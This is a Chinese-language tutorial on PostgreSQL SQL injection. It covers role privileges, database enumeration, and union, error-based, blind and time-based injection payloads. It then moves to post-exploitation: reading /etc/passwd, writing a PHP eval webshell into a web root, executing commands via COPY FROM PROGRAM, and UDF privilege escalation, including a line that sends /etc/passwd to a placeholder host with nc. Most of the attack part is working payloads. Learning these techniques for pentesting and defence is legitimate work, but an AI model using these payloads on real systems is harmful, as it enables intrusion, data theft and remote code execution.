从零开始学postgresql注入
在docker上pull一个postgresql镜像,然后就pull了一个14版本的:
docker run --name some-postgres -p 5432:5432 -e POSTGRES_PASSWORD=p4s5w4Rd -d postgres
postgresql结构
postgresql的逻辑结构:实例→数据库→表空间→对象:
权限
创建角色
创建角色:
create role westjun
创建一个有登录属性的角色:
create role westjun with login
创建用户时添加密码:
create role westjun with login password 'westjun'
给已创建的角色添加登录属性:
alter role westjun with login
内置角色属性
-
SUPERUSER/NOSUPERUSER:超级用户/非超级用户
-
CREATEDB/NOCREATEDB:允许/不允许创建数据库
-
CREATEROLE/NOCREATEROLE:允许/不允许创建角色
-
INHERIT/NOINHERIT:允许/不允许权限继承
-
LOGIN/NOLOGIN:允许/不允许登录
-
REPLICATION/NOREPLICATION:复制权限
查看角色属性
select * from pg_roles where rolname='westjun'
默认角色
postgresql提供了一组默认角色,可以访问特定的资源,用这条命令可以查看所有角色:
select * from pg_roles
然后可以用GRANT
命令将这些角色的权限授予某个用户:
grant pg_execute_server_program to westjun
用REVOKE
回收权限:
revoke pg_execute_server_program from westjun
信息搜集
查询版本
select version() select current_setting('server_version_num') show server_version--堆叠 show server_version_num--堆叠
查询用户
select user select current_user select session_user select usename FROM pg_user select getpgusername()
查询数据
查询数据库名
select current_database() select datname from pg_database
查询模式名
在postgresql中也存在information_schema
表
select current_schema() select schemaname from pg_tables select schema_name from information_schema.schemata
查表名
select tablename from pg_tables where schemaname='public' select table_name from information_schema.tables where table_schema='public'
查字段名
SELECT attname,typname FROM pg_attribute b JOIN pg_class A ON A.oid = b.attrelid JOIN pg_type C ON C.oid = b.atttypid JOIN pg_namespace d ON A.relnamespace = d.oid WHERE b.attnum > 0 AND A.relname = 'cmd_exec' select column_name,data_type from information_schema.columns where table_name='users'
查数据
在postgresql中没有group_concat
函数,如果需要将大量数据一起查出来的话可以用string_agg
和array_agg
两个函数:
select string_agg(id||','||username||','||password, ',') from users select array_to_string(array_agg(id||','||username||','||password), ',') from users
除了使用上面的方法进行以外还可以用limit子句:
select * from users limit 1 offset 1
postgresql注入
联合查询
在postgresql中union select
需要字段的数据类型一致,如果直接union select 1,2,3
大概率会报错,不过可以选择先用null
占位再逐个替换为合适的类型:
select * from users where 1=0 union select null,null,null select * from users where 1=0 union select 1,'user','pass'
报错注入
报错注入常用的是数据类型转换的cast
函数,将字符串转为数字时报错:
select cast((select version()) as numeric) select (select version())::numeric select query_to_xml(version(),true,true,'')
盲注
盲注主要涉及到字符串截取和比较两个问题
字符串截取函数:
select substr(version(),1,1) select substring(version(),1,1) select substring(version() from 1 for 1) select reverse(left(version(),1)) select right(reverse(version()),1) select reverse(lpad(version(), 1, '')) select overlay(version() placing '' from 2 for 1000)
在postgresql中用这几种方式都可以实现字符串比较:
select ascii(version())>79 select ascii('P')<>80 select nullif(ascii('P'),80) is null select ascii('P') between 80 and 80 select ascii('P') in (80)
正则表达式:
select regexp_match(version(), '^Po') is not null select substring(version() from 'Po.') select version() like 'Po%' select version() ~ '^Po' select version() similar to 'Po%'
报错盲注
报错盲注和报错注入不同,是利用语句是否报错判断sql语句返回的结果为true或者false,例如下面这条:
select case ascii(version()) when 80 then 1 else ln((select 0)) end case
利用整数溢出、数据类型转化、1/0
、√-1
、ln(-1)
等方式触发报错,不过如果直接把这几种payload放在语句里可能会导致postgresql直接先计算报错的语句再计算前面的case when
条件语句,无法达到预期的效果。为了解决这个问题可以在语句中再加一个select
:
select ln((select 0)) select exp((select 999)) select 1/(select 0) select |/(select -1) select sqrt((select -1)) select (select 'a')::numeric
时间盲注
时间盲注比较常用的函数就是pg_sleep()
,不过由于它的返回值为null,如果注入点位于where后面,那一定要将其转换为布尔值:
select 1=1 and pg_sleep(5) is null select 1=0 or pg_sleep(5)||''=''
除此之外还有其他函数也能触发延时:
select repeat(md5('a'), 100000)
绕过单引号过滤
在单引号被过滤时可以用$$
符号代替单引号:
select $$abcd$$
使用chr进行拼接:
select chr(97)||chr(98)||chr(99)
文件操作
列目录
select pg_ls_dir('/')
读文件
方法1:
select pg_read_file('/etc/passwd')
方法2,要求用户得是超级用户或者pg_read_server_files
组中用户:
drop table if exists file; create table file(res text); copy file from '/etc/passwd'; select file from file; drop table if exists file;
写文件
同样的,要求用户得是超级用户或者pg_write_server_files
组中用户:
copy (select '<?php @eval($_POST["shell"]); ?>') to '/var/www/html/1.php'
写入二进制文件:
select lo_from_bytea(12350,decode('PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4=','base64')); select lo_export(12350, '/tmp/test.txt'); select lo_unlink(12350);
命令执行
要求用户必须得是超级用户或者pg_execute_server_program
组的用户:
drop table if exists cmd_exec; create table cmd_exec(cmd_output text); copy cmd_exec from program 'id'; select cmd_output from cmd_exec; drop table if exists cmd_exec;
UDF提权
在8.2版本以前可以直接调用本地的libc.so
提权,无回显:
create or replace function system(cstring) returns int as '/lib/x86_64-linux-gnu/libc.so.6', 'system' language 'c' strict; select system('cat /etc/passwd | nc xxx.xx.xx.xx');
在8.2以后加载共享链接库时需要验证magic block
,需要找到对应的版本然后手动编译共享链接库然后传上去,在github上有可以用。
首先找到对应版本的扩展包安装:
apt install postgresql-server-dev-14
然后编译安装
gcc -Wall -I/usr/include/postgresql/14/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so strip -sx lib_postgresqludf_sys.so
上传二进制文件test.so
select lo_from_bytea(12350,decode('base64 payload here','base64')); select lo_export(12350, '/tmp/test.so'); select lo_unlink(12350);
提权
create or replace function sys_eval(text) returns text as '/tmp/test.so', 'sys_eval' language C returns NULL on NULL input immutable; select sys_eval('id');